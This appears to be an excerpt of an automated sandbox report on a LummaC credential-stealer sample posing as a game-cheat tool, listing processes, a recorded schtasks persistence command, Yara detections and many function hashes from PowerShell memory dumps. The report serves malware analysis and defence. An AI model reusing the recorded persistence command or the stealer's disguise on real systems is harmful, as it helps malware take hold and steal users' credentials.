Commandline:	schtasks /create /sc daily /st 14:58 /f /tn "LuaJIT" /tr ""C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file""
Imagebase:	0x7ff63cb00000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:18:23
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:18:31
Start date:	19/12/2023
Path:	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file
Imagebase:	0x7ff7189e0000
File size:	893'994 bytes
MD5 hash:	241F579EB451541B0BFDAF1553E491DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:18:39
Start date:	19/12/2023
Path:	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file
Imagebase:	0x7ff7189e0000
File size:	893'994 bytes
MD5 hash:	241F579EB451541B0BFDAF1553E491DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:21:35
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe
Imagebase:	0xef0000
File size:	1'085'907'457 bytes
MD5 hash:	821C6E75EEF9E50378383FB1E152DECB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 00000014.00000002.4282508440.00000000057F4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 00000014.00000002.4282508440.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 00000014.00000002.4282244783.0000000003D71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:21:36
Start date:	19/12/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Imagebase:	0x110000
File size:	2'625'616 bytes
MD5 hash:	0A7608DB01CAE07792CEA95E792AA866
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 04CD8BB0 Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

U, xrefs: 04CD8FE5

Memory Dump Source

Source File: 00000005.00000002.2182819764.0000000004CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4cd0000_powershell.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: c5e82dfd50f456d2ea3c517f781283a883eaa835aa3c04fbf54e56ccb479965f
Instruction ID: 03287a49a6d31ed0ed769749d2ff8e7e71a1a7a5c9573b60a7ca92445bf7f4f3
Opcode Fuzzy Hash: c5e82dfd50f456d2ea3c517f781283a883eaa835aa3c04fbf54e56ccb479965f
Instruction Fuzzy Hash: C571EF30A01249CFCB14EF68C894A9EFBF2FF85314F14856AD526DB691DB71AC06CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04CD8460 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2182819764.0000000004CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9864ee888a76dbb91410cf77255964c50c9278bcffd774d2a9e3a56da8cd5e8f
Instruction ID: 66adc76939ac6afeebc74d6d7f5910abeac2fab555bd8e4ccbb753a4d7ba85fa
Opcode Fuzzy Hash: 9864ee888a76dbb91410cf77255964c50c9278bcffd774d2a9e3a56da8cd5e8f
Instruction Fuzzy Hash: FBA19F35A00208DFDB14EFA5C984AADBBB7FF84310F158568E512AF368DB74AD49CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04CD8D1E Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2182819764.0000000004CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3075530e0bee15d789fe332e43a669bdb3fc99602d24b0309167e86b1dd87f5f
Instruction ID: e47892f2050159afe956b7edd9286e69a68a10b015a31c23bbb81143b87d1db8
Opcode Fuzzy Hash: 3075530e0bee15d789fe332e43a669bdb3fc99602d24b0309167e86b1dd87f5f
Instruction Fuzzy Hash: EE717F70A01209DFDB18EFA5D490BADBBF3BF88304F148529D522AB794DB74AD46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04CD8941 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2182819764.0000000004CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abdcb687dfff90f110428a7564fe53f5cfd263da390d915d1532304350417fea
Instruction ID: b5e41a3578240a76899838289beb14a7125104699160b7c162c9e6ba5dfc5512
Opcode Fuzzy Hash: abdcb687dfff90f110428a7564fe53f5cfd263da390d915d1532304350417fea
Instruction Fuzzy Hash: 5541B171605601DFEB18EF24C855AAEBBB3EF89750F08446DD546EB3A4CB34AD41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04CD8B9B Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2182819764.0000000004CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 343244b5e4d0c10ed235cf1c5abbd669cdec7cba7feab84909f3efe01b2a17bd
Instruction ID: 7d58471f6f4b632ef560f70ed239c9d849254f4c4fc5f2eced5c8fc7b6901228
Opcode Fuzzy Hash: 343244b5e4d0c10ed235cf1c5abbd669cdec7cba7feab84909f3efe01b2a17bd
Instruction Fuzzy Hash: 34418E70A01209DFDB18EFA5C8947ADBBF2BF85304F148569D016AB794DBB4AC45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0303D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2182454145.000000000303D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0303D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_303d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ca9104ce1e8be264d85acad76631d017378c1ad768575d64042e251610e8e72
Instruction ID: 3f615362831b30d3e4a5aa5e43776e2eb12768c56c9e142d8c9a46f6a7040c3a
Opcode Fuzzy Hash: 6ca9104ce1e8be264d85acad76631d017378c1ad768575d64042e251610e8e72
Instruction Fuzzy Hash: 64016D7240E3809FE7128B25CD84792BFA8EF43624F0981CBD9888F293C2689845C772

Uniqueness

Uniqueness Score: -1.00%

Function 0303D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2182454145.000000000303D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0303D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_303d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eff1dc21ebbc47eb214df7d2c5a2b2961006cc77cf99785c254537f8f4ec36b
Instruction ID: f701a3453bd420ad6804a8848a173be8f4d77904efcd5de1f18007b9b0cda586
Opcode Fuzzy Hash: 5eff1dc21ebbc47eb214df7d2c5a2b2961006cc77cf99785c254537f8f4ec36b
Instruction Fuzzy Hash: E101F2724063409AE710CA25C980BA6FFDCDF42B24F0CC55AEE481A282C7B8D841CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 04CD3E0E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2182819764.0000000004CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1bbaaa5b1ac904e4c630e098590c962050f53986bf093cf806132ad258bd02e
Instruction ID: 0900e3b86d1a329ef0479818899d895f2ade9e14f981850f8cea5e87b75a9db2
Opcode Fuzzy Hash: e1bbaaa5b1ac904e4c630e098590c962050f53986bf093cf806132ad258bd02e
Instruction Fuzzy Hash: EEF0DA35A001059FCB15CF9DD990AEEF7B1FF88324F208159E515A73A1C732AD52CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04CD88D5 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2182819764.0000000004CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 262c5cb9e76cdd5fde0dfdd0010bb3fc71cb66282a0a3669eb564a1801b55d0c
Instruction ID: 711fca5efe8f97495e80fcdf632c00d33febbcfc7921325ae23142e5d9bde0f1
Opcode Fuzzy Hash: 262c5cb9e76cdd5fde0dfdd0010bb3fc71cb66282a0a3669eb564a1801b55d0c
Instruction Fuzzy Hash: 8EF01234B40606CFDB04DBA4C5A5BAE7BB2AF81340F105518D2029F254DB785D488B90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 4364, Parent PID: 1020COMMON

Executed Functions

Function 02B5B728 Relevance: 5.3, Strings: 4, Instructions: 259COMMON

Download Yara Rule

Strings

sR>p^, xrefs: 02B5B9D0, 02B5B9D5
c[>p^, xrefs: 02B5B774
cR>p^, xrefs: 02B5BA08, 02B5BA0D
R>p^, xrefs: 02B5B83D

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID: cR>p^$c[>p^$sR>p^$R>p^
API String ID: 0-3671687626
Opcode ID: 0054be32c5e1d498286af3d8ee8410e69fa5d13482c2bc3995bc4f56bd14a8f3
Instruction ID: 1c849db82e252d65a5833390df7032604bc480b9aa693f3981f9890548e4afbd
Opcode Fuzzy Hash: 0054be32c5e1d498286af3d8ee8410e69fa5d13482c2bc3995bc4f56bd14a8f3
Instruction Fuzzy Hash: 73919A71F427659BDB09EFB488106AEBBA2EFC4700B40895DD206AF384DF345E068BC5

Uniqueness

Uniqueness Score: -1.00%

Function 02B5B738 Relevance: 5.3, Strings: 4, Instructions: 252COMMON

Download Yara Rule

Strings

sR>p^, xrefs: 02B5B9D0, 02B5B9D5
c[>p^, xrefs: 02B5B774
cR>p^, xrefs: 02B5BA08, 02B5BA0D
R>p^, xrefs: 02B5B83D

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID: cR>p^$c[>p^$sR>p^$R>p^
API String ID: 0-3671687626
Opcode ID: 66e2ef3a71a3852fdbdd7e01e3188574cefb3429f8d448d17b055a77fb42233a
Instruction ID: d2b74c71ad71348f2384998c887d974dda3fdaf4620f2c2a441369e710f57fe2
Opcode Fuzzy Hash: 66e2ef3a71a3852fdbdd7e01e3188574cefb3429f8d448d17b055a77fb42233a
Instruction Fuzzy Hash: FE918A71F417659BEB59EBB488106AEBAA3EFC4700B40891DD206AF384DF745E068BC5

Uniqueness

Uniqueness Score: -1.00%

Function 072224D8 Relevance: 9.2, Strings: 7, Instructions: 489COMMON

Download Yara Rule

Strings

Jzl, xrefs: 0722259E
Jzl, xrefs: 072225F6
ryl, xrefs: 07222559
ryl, xrefs: 0722254F
|,Ck, xrefs: 072225DB
piAk, xrefs: 07222582
Jzl, xrefs: 072225EA

Memory Dump Source

Source File: 00000007.00000002.2177928830.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: piAk$|,Ck$Jzl$Jzl$Jzl$ryl$ryl
API String ID: 0-3464093120
Opcode ID: 4d70cc15e37884b3557c97ccd518c3924753e205b75c845a7a46b4f302ba0375
Instruction ID: 75d83a91ec57a31b641e0d4111f0e990a925bd8ba0b60f296c2bfaa1a5f9bef1
Opcode Fuzzy Hash: 4d70cc15e37884b3557c97ccd518c3924753e205b75c845a7a46b4f302ba0375
Instruction Fuzzy Hash: E4F148B1B20226EFDB159FA889007ABBBE1BFC5210F15807AD505CB251DF72CD42D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 02B5EA01 Relevance: 2.6, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

Jzl, xrefs: 02B5EB2A
piAk, xrefs: 02B5EAA7

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID: piAk$Jzl
API String ID: 0-2978573903
Opcode ID: bbfac54f7434645909b25b9c58f8d147ab57b3fd481fee984523bb98648383d2
Instruction ID: dc6a0358494b0fde5a23a6669efd704f223a80cbd4b47ec0ba6efa53d9f7bafd
Opcode Fuzzy Hash: bbfac54f7434645909b25b9c58f8d147ab57b3fd481fee984523bb98648383d2
Instruction Fuzzy Hash: A8418874A042559FCB15DF79D49469EBBF2FF89300F0085A9E416AB391DB34AA05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02B5EA50 Relevance: 2.6, Strings: 2, Instructions: 116COMMON

Download Yara Rule

Strings

Jzl, xrefs: 02B5EB2A
piAk, xrefs: 02B5EAA7

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID: piAk$Jzl
API String ID: 0-2978573903
Opcode ID: b95ed412490e2fbab09a04ebc1e64d777ae28934074f4c6bdbe8e509b6b3061c
Instruction ID: ec7af7e3f7b8e184eda0486cf86cb9339b136d9f1c6cccb46f1f8eade56bd16d
Opcode Fuzzy Hash: b95ed412490e2fbab09a04ebc1e64d777ae28934074f4c6bdbe8e509b6b3061c
Instruction Fuzzy Hash: 7441DE35A002558FCB15CF79D49469EBFF2FF89300F1485A9E416AB391DB70AE06CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02B5AFD0 Relevance: 2.6, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

#^>p^, xrefs: 02B5B0D7, 02B5B0DC
3^>p^, xrefs: 02B5B09F, 02B5B0A4

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID: #^>p^$3^>p^
API String ID: 0-3362093517
Opcode ID: bbd1c259f38fd0e0fa0f94af8f41587c7634faf30fc9afc2f2664792d5292c59
Instruction ID: 15a913b6e90ab89c7f119f07799aad6c9462331093e8fe436440ed9a76661c3d
Opcode Fuzzy Hash: bbd1c259f38fd0e0fa0f94af8f41587c7634faf30fc9afc2f2664792d5292c59
Instruction Fuzzy Hash: 2F319EB4A402499FDB45EBA4D858AAE7BB3EFC5300F1084A9D515AB395CB389D41CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02B5EA80 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

Jzl, xrefs: 02B5EB2A
piAk, xrefs: 02B5EAA7

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID: piAk$Jzl
API String ID: 0-2978573903
Opcode ID: cb97934136c6b864072e306e5ceee05a521e06ce978b5368198cd81c20dbe083
Instruction ID: f4685258503875499b906623ad6d77cce20a4114d9a8d2346353ab2a5729fe95
Opcode Fuzzy Hash: cb97934136c6b864072e306e5ceee05a521e06ce978b5368198cd81c20dbe083
Instruction Fuzzy Hash: 66315774A00616CFDB14DF69D494A9EBBF2FF88300F108568D416AB390DF74AD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02B5AFE0 Relevance: 2.6, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

#^>p^, xrefs: 02B5B0D7, 02B5B0DC
3^>p^, xrefs: 02B5B09F, 02B5B0A4

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID: #^>p^$3^>p^
API String ID: 0-3362093517
Opcode ID: d6ab16238178cb1f21be2ea061fb1175f512aff26f0217ff044b3124f8edf824
Instruction ID: f5a97d9f8f9e3e66ca786617e762d17baa78b78d2731214aafdc6741b55cdccd
Opcode Fuzzy Hash: d6ab16238178cb1f21be2ea061fb1175f512aff26f0217ff044b3124f8edf824
Instruction Fuzzy Hash: 843173B4E402099FDB45EFA4D858AAE7BB3EFC4300F1084A9D515AB394DF759D418F90

Uniqueness

Uniqueness Score: -1.00%

Function 07224048 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

W, xrefs: 0722444C

Memory Dump Source

Source File: 00000007.00000002.2177928830.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: W
API String ID: 0-655174618
Opcode ID: fa582f8d812d7ca7c9e35359a6724854bb535ad0b5a539002c205f1377adc42e
Instruction ID: 08e3bd0818ce8168aa327cccd37af741ead1fc290a8210884989f57a8d6990bf
Opcode Fuzzy Hash: fa582f8d812d7ca7c9e35359a6724854bb535ad0b5a539002c205f1377adc42e
Instruction Fuzzy Hash: 5C12A0B17242A3EFC711AB78981076ABBA29FC2354F14807BD905CB652DB71CD43D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 02B5EBF8 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eca09264031fe1c2eddb93b778a00057d45332ad249880a7ac09f8d3c6c216f
Instruction ID: 79ad68fcb1501054c5913832621bb886e0bafae8f1462f849602b367c91a4153
Opcode Fuzzy Hash: 0eca09264031fe1c2eddb93b778a00057d45332ad249880a7ac09f8d3c6c216f
Instruction Fuzzy Hash: E2914974B10228CFDB14DFB8D59466DBBE6AF88610F1480AAE906EB355DF70DD42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02B5BD58 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0da104645a9f73e890bc4875b7298b0a5f2dce2da78e352e82ed367b51c4359d
Instruction ID: 06f147527aaa568778d8429d8ff6429ac547e994070a872695bf461c6cf82422
Opcode Fuzzy Hash: 0da104645a9f73e890bc4875b7298b0a5f2dce2da78e352e82ed367b51c4359d
Instruction Fuzzy Hash: E2612575E01258DFCB15CFA9D48478DBFF1EF88314F1881AAE909AB355EB709842CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02B579A8 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c0bdd352274867dfeea0aca926aad3471850d896fb26db7bb71ff25d7424371
Instruction ID: 096310b6b6acb4c6cb8bea68b02730425b8c6d60971f6b13a23368e3e2cf342f
Opcode Fuzzy Hash: 1c0bdd352274867dfeea0aca926aad3471850d896fb26db7bb71ff25d7424371
Instruction Fuzzy Hash: 6D518C313042159FD7059B69D854B6ABBE6EFC8314F1485A9E91ACB352EF35DC028BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02B5BD68 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 299e3d4a00ce896b866734e71727f3344b38233d52564b6150049ce06f34ead2
Instruction ID: a9d10591c891222e813b677873dc2c2291f6f6c7958f1443942c4f7c66eb9853
Opcode Fuzzy Hash: 299e3d4a00ce896b866734e71727f3344b38233d52564b6150049ce06f34ead2
Instruction Fuzzy Hash: AB61E471E01258DFCB14DFA9D58479DFBF2FF88314F18816AE909AB254EB749841CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02B5E861 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1df27c65fd8063a47487c6d1a93db63cfbcc027a77f8a8ec6100d5fd61a4f8f
Instruction ID: 8f9bf3601aed24affb197e22ceeea73c85760927c23b192c09f6703016f2ab9e
Opcode Fuzzy Hash: d1df27c65fd8063a47487c6d1a93db63cfbcc027a77f8a8ec6100d5fd61a4f8f
Instruction Fuzzy Hash: CC515A74B00215CFCB14DB7DC584A6ABBE6EF8931075481A9EA49CF355EB70ED01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0722402C Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2177928830.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b57aff0bc3fad5bf364b73ed000d3fd6d46fe770c5a1aca13ab213218cf6414b
Instruction ID: ba2eebd60e660fac883e0232bb9302b1f5ba9bc4afa91102407b8144467c1eee
Opcode Fuzzy Hash: b57aff0bc3fad5bf364b73ed000d3fd6d46fe770c5a1aca13ab213218cf6414b
Instruction Fuzzy Hash: 48419BF1720363AFCB20AF699501B6A7BA2DFC1340F1481A6D904DB252C731DD82E761

Uniqueness

Uniqueness Score: -1.00%

Function 02B5E870 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ed6d968e90072ab7bbef85b180ce138c64b2e0518371727379cbe497a4b5038
Instruction ID: 5353fc7e74aa50fab4b4641b28d870903bde157e4269b99a5960ff014ffc84b6
Opcode Fuzzy Hash: 3ed6d968e90072ab7bbef85b180ce138c64b2e0518371727379cbe497a4b5038
Instruction Fuzzy Hash: 234116B4B00215CFDB14EB6CC584A6ABBE6EF8830075484A9EA49CF355EB70ED01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02B57248 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: befa304a96a2d0feb984293e7d996b84304b9bbb18b008fa53020067af11f7b3
Instruction ID: 2b91c6697874eb206775204aba97efb89841755c35076a9fe0bff2a50db77983
Opcode Fuzzy Hash: befa304a96a2d0feb984293e7d996b84304b9bbb18b008fa53020067af11f7b3
Instruction Fuzzy Hash: 45412934B042148FDB15DF64C568BADBBF2EF89715F1480A8E806AB391DB35DC42DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02B52CB3 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cb596bedd947ff0bef6ee1e2b7c3382fe7a3c459f8e42dabd39f2a667484b68
Instruction ID: e3abd1b467ebe1b0f3cde1e5d5181970eab78781933b1116d4cc25e5efd11a0c
Opcode Fuzzy Hash: 0cb596bedd947ff0bef6ee1e2b7c3382fe7a3c459f8e42dabd39f2a667484b68
Instruction Fuzzy Hash: 2F411774A01519DFCB09CF59C594AAEFBB1FF48314B2181AAD905AB3A4C731FC51CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02B5CA30 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbc1fa29eb8d638a2790aad37a679c761a0e54e9277aefc1a22af7b68f889f51
Instruction ID: 21ded9dfd6dc2d3e1710bd97edd14ce88aed9b05afa99cb2b87ee8c33f880b4b
Opcode Fuzzy Hash: bbc1fa29eb8d638a2790aad37a679c761a0e54e9277aefc1a22af7b68f889f51
Instruction Fuzzy Hash: D531BC353016119FE719EB39E854B9ABBA3EFC4310F008269D609CB360DFB5A806CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02B57221 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca1bcf603632a42ea902489e92d6781f469742859eecfd0ca8c53138a912678d
Instruction ID: 06e782cb3b2cfe3d3ad5be26733c70e99258a6ddc2ec4c401f6b201cea191190
Opcode Fuzzy Hash: ca1bcf603632a42ea902489e92d6781f469742859eecfd0ca8c53138a912678d
